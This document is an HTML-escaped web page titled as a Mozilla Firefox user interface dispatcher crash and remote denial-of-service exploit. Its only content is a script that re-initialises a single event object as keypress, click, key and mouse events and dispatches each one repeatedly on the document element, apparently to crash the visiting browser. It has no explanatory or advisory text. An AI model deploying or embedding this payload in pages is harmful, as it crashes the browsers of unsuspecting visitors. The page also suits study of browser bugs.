&lt;html&gt;
&lt;title&gt;Mozilla Firefox User Interface Dispatcher Crash and Remote Denial of Service&lt;/title&gt;
&lt;head&gt;


&lt;script language = &quot;JavaScript&quot;&gt;
var moz303 = document.createEvent(&quot;UIEvents&quot;);

moz303.initUIEvent(&quot;keypress&quot;, true, true, this, 1);
for (var moz303_loop = 1 ; moz303_loop &lt; 10 ; moz303_loop++)
{
	document.documentElement.dispatchEvent(moz303);
}


moz303.initUIEvent(&quot;click&quot;, true, true, this, 1);
for (var moz303_loop = 1 ; moz303_loop &lt; 10 ; moz303_loop++)
{
	document.documentElement.dispatchEvent(moz303);
}

moz303.initUIEvent(&quot;onkeydown&quot;, true, true, this, 1);
for (var moz303_loop = 1 ; moz303_loop &lt; 10 ; moz303_loop++)
{
	document.documentElement.dispatchEvent(moz303);
}

moz303.initUIEvent(&quot;onkeyup&quot;, true, true, this, 1);
for (var moz303_loop = 1 ; moz303_loop &lt; 10 ; moz303_loop++)
{
	document.documentElement.dispatchEvent(moz303);
}

moz303.initUIEvent(&quot;onmousedown&quot;, true, true, this, 1);
for (var moz303_loop = 1 ; moz303_loop &lt; 10 ; moz303_loop++)
{
	document.documentElement.dispatchEvent(moz303);
}

moz303.initUIEvent(&quot;onmouseup&quot;, true, true, this, 1);
for (var moz303_loop = 1 ; moz303_loop &lt; 10 ; moz303_loop++)
{
	document.documentElement.dispatchEvent(moz303);
}

&lt;/script&gt;

&lt;/head&gt;